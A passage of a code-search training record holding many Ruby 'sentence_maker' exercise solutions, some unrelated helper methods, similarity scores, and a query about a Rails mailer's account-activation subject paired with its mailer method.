"def sentence_maker(array)\n x = 0\n sum = \"\"\n while x <= array.length-1\n sum += array[x].to_s + \" \"\n x += 1\n end\n sum.rstrip!\n sum += \".\"\n sum.capitalize!\n return sum\nend",
"def sentence_maker(array)\n\tx = 0\n\tsum = \"\"\n\twhile x <= array.length-1\n\t\tif x == array.length-1\n\t\t\tsum += array[x].to_s\n\t\t\tx += 1\n\t\telse \n\t\t\tsum += array[x].to_s + \" \"\n\t\t\tx += 1\n\t\tend\t\n\tend\n\tsum += \".\"\n\tsum.capitalize!\n\treturn sum\nend",
"def sentence_maker(array)\n\tlength = array.length\n\tsum = array[0].to_s.capitalize!\n\tfor i in 1...length\n\t\tsum = sum + \" \" + array[i].to_s\n\tend\n \tsum + \".\"\nend",
"def sentence_maker(array)\n combination = \"\"\n array[0].capitalize!\n array.each {|x| combination = combination + x.to_s + \" \"}\n combination.rstrip!\n combination = combination + \".\"\n return combination\nend",
"def sentence_maker(array)\n\tx = 0\n\tsum = \"\"\n\n\t\twhile x < (array.length - 1)\n\t\t\tsum += array[x].concat \" \" \n\t\t\tx += 1\n\t\tend \n\t\t\tsum += array[x].concat \".\" \n\treturn sum\n\nend",
"def sentence_maker(arr)\n string = \"\"\n i = 1\n while i < arr.length-1\n string += arr[i].to_s + ' '\n i+=1\n end\n sentence = arr[0].capitalize! + \" \" + string + arr[-1] + \".\"\n return sentence\nend",
"def sentence_maker(arr)\n x = ''\n #Concatenate each element with a space\n arr.each{|y| x << y.to_s << ' '}\n\n #Take out any leading or trailing white space\n x.strip!\n x[0] = x[0].capitalize\n x << '.'\n p x\nend",
"def sentence_maker(array)\n sentence = \"\"\n array.each do |x|\n sentence = sentence + x.to_s + \" \"\n end\n\n sentence[0] = sentence[0].upcase\n sentence = sentence.rstrip\n sentence = sentence + \".\"\n return sentence\n\nend",
"def sentence_maker(array)\n combination = \"\"\n array.each {|x| combination = combination + x.to_s + \" \"}\n return combination.capitalize.chop + \".\"\nend",
"def sentence_maker(arr)\n string = \"\"\n arr.each do |i|\n string += i.to_s + ' '\n end\n string[-1] = \".\"\n return string = string.capitalize\nend",
"def sentence_maker(array)\n\ti = 0\n\twhile i < array.length do\n\t\tif i == 0\n\t\t\tsentence = (array[i].capitalize.to_s + \" \")\n\t\telsif i == array.length-1\n\t\t\tsentence = sentence + (array[i].to_s + \".\") \n\t\telse\n\t\t\tsentence = sentence + (array[i].to_s + \" \")\n\t\tend\n\t\ti += 1\n\tend\n\treturn sentence\nend",
"def sentence_maker(arr)\n output = \"\"\n arr.each do |word|\n output += (word.to_s + \" \")\n end\n output.capitalize.strip + \".\" \nend",
"def sentence_maker(arr)\n output = \"\"\n arr.each do |word|\n output += (word.to_s + \" \")\n end\n output.capitalize.strip + \".\" \nend",
"def sentence_maker(arr)\n output = \"\"\n arr.each do |word|\n output += (word.to_s + \" \")\n end\n output.capitalize.strip + \".\" \nend",
"def sentence_maker(a)\n\tsum = \"\"\n\ta.each {|a| sum += (a + \" \")}\n\n\treturn sum.chomp(\" \").capitalize + \".\"\nend",
"def sentence_maker(array)\n\tanswer=\"\"\n\tarray[0]=array[0].capitalize\n\tarray.each do |x|\n\t\tx=x.to_s\n\t\tanswer+=x+\" \"\n\tend\t\n\tanswer=answer.chop+\".\"\n\treturn answer\nend",
"def sentence_maker arr\n catenated_str = ''\n space = ' '\n i = 0\n\n arr.each do |el|\n catenated_str += i == 0 ? el.capitalize.to_s : i == (arr.length - 1) ? space + el.to_s + '.' : space + el.to_s\n i+=1\n end\n catenated_str\nend",
"def sentence_maker(array)\n str_array = array.collect{|i| i.to_s} #collect method returns entire array or hash; we are converting all elements of array into string\n sentence = array[0] #converts first element of array into new array\n sentence[0] = str_array[0][0].upcase #makes first letter uppercase\n str_array.shift\n\tstr_array.each { |i| sentence = sentence + \" \" + i.to_s}\n\treturn sentence + \".\"\nend",
"def sentence_maker(array)\n\tarray[0].capitalize!\n\tfinalString = array.join(' ')\n\tfinalString = finalString + '.'\nend",
"def sentence_maker(array)\n\tsentence = array[0].capitalize.to_s\n\ti = 1\n\twhile i < array.length\n\t\tsentence = sentence + \" \" + array[i].to_s\n\t\ti += 1\n\tend\n\tsentence = sentence + \".\"\n\tp sentence\n\nend",
"def sentence_maker(arraystring)\n fullsentence = ''\n length_of_arraystring = arraystring.length\n current_index_of_array = 0\n while current_index_of_array < length_of_arraystring\n if current_index_of_array == 0\n word = arraystring[current_index_of_array].to_s.capitalize\n fullsentence = fullsentence + word + ' '\n\n elsif current_index_of_array == length_of_arraystring - 1\n word = arraystring[current_index_of_array].to_s\n fullsentence = fullsentence + word + '.'\n else\n word = arraystring[current_index_of_array].to_s\n fullsentence = fullsentence + word + ' '\n end\n current_index_of_array = current_index_of_array + 1\n\n end\n# puts fullsentence\n return fullsentence\nend",
"def sentence_maker(array)\n sentence = array[0].capitalize\n for w in 1...array.length\n sentence = sentence + \" \" + array[w].to_s\n end\n return sentence + \".\"\nend",
"def sentence_maker ( strArray )\r\n\r\n\tanswer = ''\r\n\r\n\tstrArray.each do |thisStr|\r\n\t\tanswer += thisStr.to_s + ' '\r\n\tend\r\n\r\n\tanswer.slice!(answer.length-1)\r\n\r\n\tanswer += '.'\r\n\r\n\treturn answer.capitalize!\r\n\r\nend",
"def sentence_maker (arr)\n sentence = \"\"\n arr[0] = arr[0].capitalize\n for i in 0...arr.length-1\n sentence = sentence + arr[i].to_s + \" \"\n end\n return sentence + arr[arr.length-1] + \".\"\nend",
"def sentence_maker (array)\n array[0].capitalize!\n return array.join(\" \") + \".\"\nend",
"def sentence_maker (array)\n index = 0\n sentence = \"\"\n array = array.map {|x| x.to_s}\n\nuntil index == array.length-1\n sentence += array[index] + \" \"\n index += 1\nend\n\nsentence += array[-1] + \".\"\nreturn sentence.capitalize\n\nend",
"def sentence_maker(array)\n\tcomplete = \"\"\n\tarray.each do |i|\n\t\tcomplete = complete + i.to_s + \" \"\n\tend\n\tcomplete.insert(-2, \".\")\n\treturn complete.strip.capitalize\nend",
"def sentence_maker(array)\n sentence = \"\"\n array[0].capitalize!\n array.each do |i|\n sentence << \"#{i}\"\n unless i == array.last\n sentence << \" \"\n end\n end\n sentence << \".\"\n return sentence\nend",
"def sentence_maker(array_of_strings)\n sentence = array_of_strings[0].capitalize\n for i in array_of_strings[1..-1]\n sentence += \" \" + i\n end \n sentence + \".\"\nend",
"def sentence_maker(array)\n array[0].capitalize!\n array.join(\" \") << \".\"\nend",
"def sentence_maker (array)\n\tindex = 0\n\twhile index < array.length\n\t\tif index == 0\n\t\t\tsentence = array[index].to_s.capitalize\n\t\telse \n\t\t\tsentence = sentence + \" \" + array[index].to_s\n\t\tend\n\t\tindex += 1\n\tend\n\tsentence = sentence + \".\"\n\treturn sentence \nend",
"def sentence_maker(string_array)\nnew_string = \"\"\nnew_array = []\n\nstring_array.each do |string|\n if string != string_array[-1]\n new_string += string.to_s + \" \"\n else\n new_string += string.to_s\n end\n \n new_array.push(new_string)\nend\nreturn new_array[-1].capitalize + \".\"\nend",
"def sentence_maker (array)\n sentence = \"\"\n array.each do |i|\n sentence = sentence + i.to_s + \" \"\n end\n sentence = sentence.capitalize.chop + \".\"\nend",
"def sentence_maker(array_of_strings)\n\n sentence = array_of_strings[0].capitalize\n \n for i in array_of_strings[1..-1]\n sentence += \" \" + i\n end \n p sentence + \".\"\n \nend",
"def sentences(total)\n (1..interpret_value(total)).map do\n words(5..20).capitalize\n end.join('. ')\n end",
"def sentence_maker(array_of_strings)\n return array_of_strings.join(\" \").capitalize + '.'\nend",
"def sentence_maker(word_array)\n sentence = word_array.inject(\" \"){|words,element| words += element.to_s + \" \"}\n sentence.strip!.capitalize!\n sentence << \".\"\nend",
"def sentence_maker (arr)\n\n arr[0] = arr[0].capitalize\n sentence = arr.join(\" \")\n\n return sentence + \".\"\nend",
"def sentence_maker(arr)\n arr[0] = arr[0].capitalize\n return arr.join(\" \") + \".\"\nend",
"def sentence_maker(array_of_strings)\n result = \"\"\n last_word = array_of_strings.pop\n array_of_strings.each do |word|\n result += word.to_s + \" \"\n end\n result += last_word + \".\"\n return result.capitalize!\nend",
"def sentence_maker(array)\n array.join(\" \").capitalize + \".\"\nend",
"def sentence_maker(array)\n array.join(\" \")\n array(0,1).capitalize + array(1..-1) + \".\"\nend",
"def sentence_maker(string_array)\n string_array.join(\" \").capitalize + \".\"\nend",
"def sentence_maker(word_array)\n sentence = word_array.inject(\" \"){|words,element| words+=element.to_s+\" \"}\n sentence.strip!.capitalize!\n sentence << \".\"\nend",
"def sentence_maker(array)\n\tsentence = array.join(\" \")\n\tsentence.capitalize!\n\tsentence += \".\"\n\treturn sentence\nend",
"def sentence_maker array\n array = array.join(' ').capitalize << \".\"\n\nend",
"def sentence_maker(array_of_strings)\n\n p array_of_strings.join(' ').capitalize + \".\"\n\n end",
"def sentence_maker(array_of_strings)\n\t# Declare new sentence variable and set to \"\"\n\tsentence = \"\"\n\t# Capitalize first word in array\n\tarray_of_strings[0].to_s.capitalize!\n\t# For each member of array_of_strings, add to the sentence variable (converting to string)\n\tfor num in 0..(array_of_strings.length - 1)\n\t\t\tsentence += array_of_strings[num].to_s\n\t\t# unless the member of the array is the last member of array_of_strings_, add a space after the word\n\t\tunless num == (array_of_strings.length - 1)\n\t\t\tsentence += \" \"\n\t\tend\n\tend\n\t# End the sentence variable with a period\n\tsentence += \".\"\n\t# Return the sentence variable\n\treturn sentence\nend",
"def sentence_maker(array_of_strings)\n array_of_strings.join(' ').capitalize + \".\"\nend",
"def sentence_maker(array)\n string = array.join(' ').capitalize! + '.'\nend",
"def sentence_maker(array)\n result = array.join(' ')\n result = result.capitalize + \".\"\nend",
"def sentence_maker(array)\n array.join(\" \").capitalize << \".\"\nend",
"def sentence_maker(s_array)\n\n if s_array.empty? == true\n\n puts \"Array is empty add some values\"\n\n else\n\n p s_array.join(' ').capitalize + '.'\n\n end\nend",
"def sentence_maker(array)\n array.join(' ').capitalize << \".\"\nend",
"def sentence_maker(words)\n sentence = \"\"\n words.each { |word|\n word = word.to_s\n if word == words.first.to_s #cap if word is first in sentence\n sentence << (word.capitalize)\n else\n sentence << word\n end\n\n if word == words.last #period after last word, otherwise space\n sentence << \".\"\n else\n sentence << \" \"\n end\n }\n sentence\nend",
"def sentence_maker(array)\n sentence = array.join(\" \")\n sentence << \".\"\n sentence.capitalize!\nend",
"def sentence_maker(array)\n\tnew_array = array.join(\" \").capitalize + \".\"\n\t\nend",
"def sentence_maker(array)\n sentence = array.join(\" \")\n sentence = sentence.capitalize + \".\"\nend",
"def sentence_maker(array)\n x=array.join(\" \")\n return x.capitalize + \".\"\n end",
"def sentence_maker(words)\r\n\tsentence = ''\r\n\ti = 0\r\n\r\n\twhile i < words.length\r\n\t\tif i == 0 \r\n\t\t\tsentence = sentence + words[i].to_s.capitalize + ' '\r\n\t\t\ti += 1\r\n\t\telsif i == (words.length - 1)\r\n\t\t\tsentence = sentence + words[i].to_s + '.'\r\n\t\t\ti += 1\r\n\t\telse\r\n\t\t\tsentence = sentence + words[i].to_s + ' '\r\n\t\t\ti += 1\r\n\t\tend\r\n\tend\r\n\tp sentence\r\nend",
"def sentence_maker(array)\n\tsentence = array.join(\" \")\n\tsentence.capitalize!\n\treturn sentence + \".\"\nend",
"def sentence_maker(array)\n\tsentence = array.join(\" \")\n\tsentence.capitalize!\n\treturn sentence + \".\"\nend",
"def sentence_maker(array)\n\tarray.join(\" \").capitalize << \".\"\nend",
"def sentence_maker(array)\n\tarray.join(\" \").capitalize << \".\"\nend",
"def sentence_maker (strings)\n\njoin_strings = String.new\n\n strings.each { |string| join_strings += \" \" + \"#{string}\"}\n join_strings[0] = \"\"\n join_strings[0] = join_strings[0].capitalize\n return join_strings + \".\"\n\nend",
"def sentence_maker array\n array = array.join(' ').capitalize\n return \"#{array}.\"\nend",
"def sentence_maker(strings)\n sentance = \"\"\n strings.each do |word|\n sentance += word.to_s + \" \"\n end\n sentance.strip!\n sentance.capitalize + \".\"\n\nend",
"def sentence_maker(words)\n sentence = \"\"\n words.each { |word| sentence << word.to_s + \" \"}\n sentence = sentence.chomp(\" \") << \".\"\n return sentence.capitalize\nend",
"def sentence_maker(a_single_argument)\n output = a_single_argument.join(\" \")\n output += \".\"\n return output.capitalize!\nend",
"def sentence_maker(array)\n\tsentence = array.join(\" \")\n\tsentence = sentence.to_s.capitalize + \".\"\nend",
"def sentence_maker(strings)\n\n new_string = strings[0]\n i = 1\n while i < strings.length\n new_string = new_string + \" \" + strings[i].to_s\n i += 1\n end\n new_string = new_string + \".\"\n return new_string.capitalize\nend",
"def sentence_maker(words)\n\n i = 0\n sentence = ''\n\n while i < words.length\n if i == 0\n sentence = sentence + words[0].to_s.capitalize + ' '\n end\n if i == words.length - 1\n sentence = sentence + words[(words.length - 1)].to_s + '.'\n end\n if (i != words.length - 1) && i != 0\n sentence = sentence + words[i].to_s + ' '\n end\n i += 1\n end\n return sentence\nend",
"def sentence_maker(my_sentence)\n result=my_sentence.shift\n my_sentence.each { |x| result= result + \" \" + x.to_s }\n result=result + \".\"\n result.capitalize!\n end",
"def sentence_maker(strings)\n new_string = strings.join(\" \") + \".\"\n return new_string.capitalize\nend",
"def sentence_maker(a)\n\ta[0] = a[0].capitalize\n\tstring = a.join(\" \")+\".\"\n\treturn string\nend",
"def sentence_maker(a_single_argument)\n items = a_single_argument.count.to_i\n output = a_single_argument.values_at(0..(items-1)).join(\" \").capitalize\n return output + \".\"\nend",
"def sentence_maker(strings)\n concat = \"\"\n strings.each do |n|\n concat << n.to_s + \"\"\n concat = concat.chomp(\" \") << \".\"\n end\n return concat.capitlize\nend",
"def sentence_maker(words)\n if words.size != 0\n sentence = \"\"\n for w in 0...words.size\n word = words[w]\n if (word.is_a? String)\n sentence += word + \" \"\n else\n sentence += word.to_s + \" \"\n end\n end\n sentence.chomp!(\" \")\n sentence += \".\"\n sentence.downcase!\n sentence.capitalize!\n return sentence\n end\nend",
"def sentence_maker_refactored(words)\n words.first.capitalize!\n words.join(\" \") + \".\"\nend",
"def sentence_maker(word_array)\n\tsentence = word_array.join(\" \")\n\treturn sentence.capitalize + \".\"\nend",
"def sentence_maker(words)\n sentence = ''\n words[0].capitalize!\n words.each do |x|\n sentence = sentence + x.to_s + ' '\n end\n sentence = sentence.chop + \".\"\nend",
"def sentence_maker(strings)\n return strings.join(' ').capitalize + '.'\nend",
"def sentence_maker(sentence)\n sentence[0] = sentence[0].capitalize\n sentence.join(\" \") + \".\"\nend",
"def sentence_maker(words)\n\tstring = \"\"\n\twords.each do |x|\n\t\tstring = string + x.to_s + \" \"\n\tend\n\treturn string.capitalize.strip + \".\"\nend",
"def sentence_maker(string)\n string.join(\" \").capitalize << \".\"\nend",
"def sentence_maker(words)\n return words.join(\" \").capitalize << \".\"\nend",
"def sentence_maker(my_sentence)\n result=my_sentence.join(\" \")\n result=result.capitalize + \".\"\n end",
"def sentence_maker(words)\n words = words.join(' ').capitalize + \".\"\nend",
"def sentence_maker(words)\n\twords.join(\" \").capitalize << \".\"\nend",
"def solution(line, people)\n total_p = people.first.to_f\n t_l = people.last.to_f\n\n arr = line.split(\" \").map{|v| v.to_f}\n total = arr.inject(:+)\n add_to_one(arr, total_p, total)\nend",
"def test_String_003_ToSentence\n \n puts2(\"\")\n puts2(\"#######################\")\n puts2(\"Testcase: test_String_003_ToSentence\")\n puts2(\"#######################\")\n \n \n puts2(\"\\nA specific string...\")\n sString = \"oNCE UPON a time Long ago and far away\"\n puts2(\"\\n String: \" + sString)\n sSentence = sString.to_sentence\n puts2(\" Sentence: \" + sSentence)\n \n puts2(\"\\nFour sets of 2 pseudo words as sentences...\")\n 4.times {\n sString = random_pseudowords(2,10)\n puts2(\"\\n String: \" + sString)\n sSentence = sString.to_sentence\n puts2(\" Sentence: \" + sSentence)\n }\n \n puts2(\"\\nTwo sets of 3 pseudo words ending in a period as sentences...\")\n 2.times {\n sString = random_pseudowords(3,10) + \".\"\n puts2(\"\\n String: \" + sString)\n sSentence = sString.to_sentence\n puts2(\" Sentence: \" + sSentence)\n }\n \n puts2(\"\\nTwo sets of 4 pseudo words ending in a exclamation point as sentences...\")\n 2.times {\n sString = random_pseudowords(4,10) + \"!\"\n puts2(\"\\n String: \" + sString)\n sSentence = sString.to_sentence\n puts2(\" Sentence: \" + sSentence)\n }\n \n puts2(\"\\nTwo sets of 5 pseudo words ending in a question mark as sentences...\")\n 2.times {\n sString = random_pseudowords(5,10) + \"?\"\n puts2(\"\\n String: \" + sString)\n sSentence = sString.to_sentence\n puts2(\" Sentence: \" + sSentence)\n }\n \n end",
"def accum(s)\n arr = s.split('')\n arr.map!.each_with_index do |letter, index|\n (letter * (index + 1)).capitalize\n # binding.pry\n end\n arr.join('-')\nend",
"def paragraphs(total)\n (1..interpret_value(total)).map do\n sentences(3..8).capitalize\n end.join(\"\\n\\n\")\n end",
"def accum(s)\n newArr = []\n i = 1\n\ts.split('').each { |let|\n let *= i\n i += 1 \n newArr.push(let.downcase)\n }\n newArr.each { |let|\n let[0] = let[0].upcase\n }\n return newArr.join(\"-\")\nend",
"def sentence_maker(string)\n\tstring[0] = string[0].capitalize\n\tphrase = ''\n\tstring.each do |word|\n\t\tphrase = phrase + word.to_s + ' '\n\tend\n\tphrase = phrase.chop\n\tphrase = phrase + '.'\n\treturn phrase\nend",
"def sentence_maker(variable)\n\treturn variable.inject{|sentence, x| sentence + \" \" + x.to_s}.lstrip.capitalize + \".\"\nend",
"def sentence_maker(words)\n\tif words.size != 0\n\t\tsentence = \"\"\n\t\tfor w in 0...words.size\n\t\t\tword = words[w]\n\t\t\tif (word.is_a? String)\n\t\t\t\tsentence += word + \" \"\n\t\t\telse\n\t\t\t\tsentence += word.to_s + \" \"\n\t\t\tend\n\t\tend\n\t\tsentence.chomp!(\" \")\n\t\tsentence += \".\"\n\t\tsentence.downcase!\n\t\tsentence.capitalize!\n\t\treturn sentence\n\tend\nend",
"def word_points word\n word_array = word.upcase.split(\"\")\n points = word_array.reduce (0) {| total , letter | total + letter_values[letter]}\n puts \"The total points for your Scrabble™ answer is: #{points}\"\nend",
"def make_sentence(array) \n\tsentence = \"\"\n\tarray.each do |mini_arrays|\n mini_arrays.each do |element|\n sentence << \"a#{element}a \"\n end\n end \n \n\tsentence\n end",
"def output(input)\n array = input.split (\" \")\n array.map! {\n |x|\n x = x.to_i\n }\n sum = 0\n array.each {\n |x|\n sum += x\n }\n sum\nend",
"def solution(sentence)\n sentence_arr = []\n sentence_arr = sentence.split(\" \")\n #puts \"#{sentence_arr}\"\n sentence_str = \"\"\n sentence_arr.reverse_each { |word| sentence_str += \"#{word} \" }\n #puts \"#{sentence_str}\"\n return sentence_str\nend"
] | [
"0.7448059",
"0.7412422",
"0.72410434",
"0.7204586",
"0.69159865",
"0.68765104",
"0.6868407",
"0.68632215",
"0.68014175",
"0.68006635",
"0.6769875",
"0.67697287",
"0.67697287",
"0.67697287",
"0.6762957",
"0.675488",
"0.67473716",
"0.67310673",
"0.67092305",
"0.6705538",
"0.67047775",
"0.6698011",
"0.66883916",
"0.66785157",
"0.6644087",
"0.6633848",
"0.6609042",
"0.66075087",
"0.66044164",
"0.65887564",
"0.6579209",
"0.657313",
"0.65309656",
"0.65121573",
"0.65069485",
"0.6485961",
"0.6482901",
"0.64462227",
"0.6433584",
"0.6432133",
"0.6431736",
"0.64276576",
"0.6421141",
"0.641558",
"0.6408339",
"0.6407895",
"0.64022875",
"0.6400681",
"0.64003307",
"0.63926697",
"0.6383703",
"0.63774514",
"0.6362058",
"0.63333833",
"0.631696",
"0.63137525",
"0.6297646",
"0.62963825",
"0.62769526",
"0.6273015",
"0.62688196",
"0.62688196",
"0.62436867",
"0.62436867",
"0.6226282",
"0.62172544",
"0.62012815",
"0.61925244",
"0.618503",
"0.61713576",
"0.61587465",
"0.613255",
"0.6051542",
"0.6023077",
"0.6017912",
"0.60151505",
"0.59966147",
"0.59823895",
"0.59807545",
"0.5942882",
"0.5880656",
"0.5870915",
"0.5831523",
"0.58115137",
"0.5803644",
"0.57721865",
"0.5742837",
"0.57139945",
"0.56860375",
"0.5663519",
"0.56565773",
"0.562503",
"0.558723",
"0.55738544",
"0.5533929",
"0.5482693",
"0.5479405",
"0.5450299",
"0.5443778",
"0.5441459",
"0.5435462"
] | 0.0 | -1 |
Subject can be set in your I18n file at config/locales/en.yml with the following lookup: en.user_mailer.account_activation.subject | def account_activation(user)
@user = user
mail to: user.email, subject: "Account activation"
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_EmailSubject(value)\n set_input(\"EmailSubject\", value)\n end",
"def set_EmailSubject(value)\n set_input(\"EmailSubject\", value)\n end",
"def translate(mapping, key)\n I18n.t(:\"#{mapping.name}_subject\", :scope => [:devise, :mailer, key],\n :default => [:subject, key.to_s.humanize])\n end",
"def set_EmailSubject(value)\n set_input(\"EmailSubject\", value)\n end",
"def set_EmailSubject(value)\n set_input(\"EmailSubject\", value)\n end",
"def subject\n @options.fetch(:subject) { \"Invitation\" }\n end",
"def subject (recipient)\n subject_variables = alert_variables[:subject].dup\n subject_variables.merge!(recipient_details(recipient))\n subject = \"#{I18n.t(\"#{recipient_type.to_s}_subject_#{alert_name.to_s}\", subject_variables)}\"\n subject\n end",
"def activation authentication_id, locale\n verification authentication_id, t('user_mailer.activation.subject'), locale\n end",
"def email_verification_instructions(user)\n load_settings\n @user = user\n subject_suffix = \"Account Activation Instructions\"\n #@url = \"http://example.com/login\"\n mail(:to => user.email,\n :subject => \"[#{user.company_name}] #{subject_suffix}\",\n :template_path => 'notifications',\n :template_name => 'another',\n :activate_account_url => activate_accounts_url(:code => user.perishable_token,\n :subdomain => user.company.subdomain),\n :username => user.login,\n :token => user.perishable_token, :subdomain => user.company.subdomain)\n end",
"def subject\n @mail.subject\n end",
"def message_subject=(value)\n @message_subject = value\n end",
"def deliver_invitation(options = {})\n super(options.merge(subject: _('A Data Management Plan in %{application_name} has been shared with you') % {application_name: Rails.configuration.branding[:application][:name]}))\n end",
"def get_email_subject(email_type)\n email_subject = email_type\n case(email_type)\n when \"welcome\"\n email_subject = \"Welcome to Aspera Files\"\n when \"reset\"\n email_subject = \"Password Reset\"\n end\n return email_subject\n end",
"def subject\n @subject ||= Envelope::MessageTools.normalize(message.subject || '')\n end",
"def mmm_test_subj_call\n ->(candidate) { I18n.t('email.test_monthly_mail_subject_initial_input', candidate_account_name: candidate.account_name) }\n end",
"def formatted_subject(text)\n name = PersonMailer.global_prefs.app_name\n label = name.blank? ? \"\" : \"[#{name}] \"\n \"#{label}#{text}\"\n end",
"def subject\n self['subject'] || msg['subject']\n end",
"def send_signup_notification\n deliver_activation_email(:signup, :subject => (MaSA[:activation_subject] || \"Please Activate Your Account\") )\n end",
"def translate(mapping, key)\n I18n.t(:\"notifications_subject\", :scope => [:eventifier, :notifications, key],\n :default => [:subject, key.to_s.humanize])\n end",
"def subject() self.headers[\"Subject\"] || \"[NO SUBJECT]\" end",
"def subject_for(template, attributes = {})\n subject = EmailTemplate.subject_for(template)\n subject = I18n.t(\"email_templates.#{template}.default_subject\") if subject.nil?\n subject = \"No Subject\" if subject.nil?\n Florrick.convert(subject, add_default_attributes(attributes))\n end",
"def subject\n @subject ||= \"(sans sujet)\"\n if @no_header_subject.nil?\n \"#{header_subject}#{@subject}\"\n else\n @subject\n end\n end",
"def user_added_email(user)\n ActsAsTenant.without_tenant do\n @course = user.course\n end\n @recipient = user.user\n\n I18n.with_locale(@recipient.locale) do\n mail(to: @recipient.email, subject: t('.subject', course: @course.title))\n end\n end",
"def adhoc_test_subj_call\n ->(candidate) { I18n.t('email.test_adhoc_subject_initial_input', candidate_account_name: candidate.account_name) }\n end",
"def account_activation(subscriber)\n @greeting = \"Hi\"\n @subscriber = subscriber\n\n mail to: subscriber.email, subject: \"Confirm subscription\"\n end",
"def subject=(subject); @message_impl.setSubject subject; end",
"def email_welcome_and_pass\r\nold_gt = I18n.locale\r\nI18n.locale = self.language unless self.language.blank?\r\nUserMailer.deliver_account_infos(self, @password) # Uniq time with decoded password\r\nI18n.locale = old_gt\r\nend",
"def subject_name\n subject_full_name\n end",
"def choose_subject(action, params = {})\n scope = [:mailers, mailer_name, action]\n key = :subject\n experiment_name = \"#{mailer_name}_mailer_#{action}_subject\".to_sym\n if experiment_active?(experiment_name)\n scope << key\n key = ab_test(experiment_name)\n end\n params.merge!(scope: scope)\n I18n.t(key, params)\n end",
"def compose_email\n @title = t 'conclusion_draft_review.send_by_email'\n end",
"def set_Subject(value)\n set_input(\"Subject\", value)\n end",
"def set_Subject(value)\n set_input(\"Subject\", value)\n end",
"def set_Subject(value)\n set_input(\"Subject\", value)\n end",
"def set_Subject(value)\n set_input(\"Subject\", value)\n end",
"def set_Subject(value)\n set_input(\"Subject\", value)\n end",
"def set_Subject(value)\n set_input(\"Subject\", value)\n end",
"def set_Subject(value)\n set_input(\"Subject\", value)\n end",
"def set_Subject(value)\n set_input(\"Subject\", value)\n end",
"def setSubject(subject)\n @fields['subject'] = subject\n self\n end",
"def setSubject(subject)\n @fields['subject'] = subject\n self\n end",
"def setSubject(subject)\n @fields['subject'] = subject\n self\n end",
"def setSubject(subject)\n @fields['subject'] = subject\n self\n end",
"def account_activation(user)\n @user = user\n mail to: user.email # => mail object\n # => app/views/user_mailer/account_activation.text.erb\n # => app/views/user_mailer/account_activation.html.erb \n # https://hogehoge.com/account_activations/:id/edit\n # :id <= @user.activation_token\n end",
"def subject_name\n return @subject_name\n end",
"def subject=(string)\n set('Subject', string)\n end",
"def subject\n self['subject']\n end",
"def subject_name=(value)\n @subject_name = value\n end",
"def activation_confirmation(user)\n @root_url = root_url\n mail(:subject => setup_subject(I18n.t('activation_complete')),\n :to => user.email)\n end",
"def subject_alternative_name\n extensions[R509::Cert::Extensions::SubjectAlternativeName]\n end",
"def activation_success_email\n UserMailerMailer.activation_success_email\n end",
"def account_activation(user)\n @user = user\n mail to: user.email, subject: \"CRS Account Activation\"\n end",
"def confirmed(assignment)\n setup_user_email(assignment)\n @subject += I18n.translate 'assignment_mailer.accepted.subject', :event => assignment.event.code\n end",
"def email_subject(form)\n \"#{form.type_of_enquiry} - #{reference}\"\n end",
"def admin_account_activation(member)\r\n @member = member\r\n mail(to: member.user_name, subject: \"Admin Account Activation\") \r\n end",
"def activation_success_email(user)\n @user = user\n @subject = \"[#{SITE_NAME}] Account activated\"\n mail(bcc: @user.email, subject: @subject)\n end",
"def subject=(value)\n @subject = value\n end",
"def subject=(value)\n @subject = value\n end",
"def subject=(value)\n @subject = value\n end",
"def subject=(value)\n @subject = value\n end",
"def subject=(value)\n @subject = value\n end",
"def subject=(value)\n @subject = value\n end",
"def confirmation_email(user)\n # email header info MUST be added here\n @recipients = user.email\n @from = \"#{Site.current.email}\"\n @subject = \"SIR Information:: Welcome to SIR\"\n\n # email body substitutions go here\n @body[\"name\"] = user.login\n @body[\"hash\"] = user.activation_code\n end",
"def account_activation(member) \r\n @member = member \r\n mail(to: member.user_name, subject: \"Account Activation\") \r\n end",
"def send_activation_email\n UserMailer.account_activation(self).deliver\n end",
"def invitation_instructions(resource, token, opts={})\n invited_by = resource.invited_by\n invited_by_email = invited_by.email\n invited_to_account = Account.joins(:memberships).where(memberships: {user_id: resource.id, created_by_id: invited_by.id}).limit(1).first.try(:name)\n opts[:subject] = \"#{invited_to_account} Invitation from #{invited_by_email}\"\n super\n end",
"def activation_needed_email(user)\n @user = user\n @account_activation_url = activate_user_url(user.activation_token)\n mail to: user.email, subject: \"ACTION NEEDED: Activate your VCDelta.org account\"\n end",
"def send_activation_notification\n deliver_activation_email(:activation, :subject => (MaSA[:welcome_subject] || \"Welcome\" ))\n end",
"def invite_subject\n \"Your invitation to #{org_name.possessive} Creative Difference Dashboard\"\n end",
"def activation_success_email\n ActivationEmail.activation_success_email\n end",
"def account_activation(user)\n @user = user\n\n mail to: user.email, subject: \"Account activation\"\n end",
"def send_subscribe_email(subscriptor)\n @subscriptor = subscriptor\n @subject = \"Thanks for subscribe for our amazing app\"\n mail(to: @subscriptor.email, subject: @subject)\n # mail(to: , from: , subject:)\n end",
"def set_subject(subject)\n\t\tend",
"def subject\n @subject=EzCrypto::Name.new(@cert.subject) unless @subject\n @subject\n end",
"def getEmailDefaults(subject, toEmail, ccEmail = nil)\n if Rails.env.eql? 'development'\n subject = \"[BASL-DEV] #{subject}\"\n toEmail = 'paigepon@gmail.com'\n ccEmail = toEmail\n else\n subject = \"[BASL] #{subject}\"\n end\n mailInfo = {\n :to => toEmail,\n :subject => subject,\n :cc => ccEmail\n }\n mailInfo\n end",
"def account_activation\n user = User.first\n user.activation_sent_at = Time.current\n UserMailer.account_activation(user)\n end",
"def email_activation(email)\n setup_email(email.user, email.address)\n @subject += 'Please verify your email address'\n @body[:url] = \"#{SITE_URL}/activate/#{email.activation_code}\"\n end",
"def newcompany_email(company)\n @company = company\n @message = t('mailers.company.created')\n \n emails = AdminUser.all.collect(&:email).join(\",\")\n\n mail(:to => emails, :subject => \"#{t('site_title')}: #{@message}\")\n \n end",
"def email_activation\n @user = Student.first\n @user.create_email_activation\n @email = 'yan_fuhai@hotmail.com'\n @option = 'student'\n UserMailer.email_activation @user, @email, @option\n end",
"def send_activation_email\n\t\tUserMailer.account_activation(self).deliver_now\n\tend",
"def email_subject\n sponsor_name = @config.plan.sponsor_name\n display_date = @date.to_s()\n if @config.div_id.present?\n email_subject = \"Payroll report for #{sponsor_name} for division #{@config.division_name}: #{display_date}\"\n else\n email_subject = \"Payroll report for #{sponsor_name}: #{display_date}\"\n end\n return email_subject\n end",
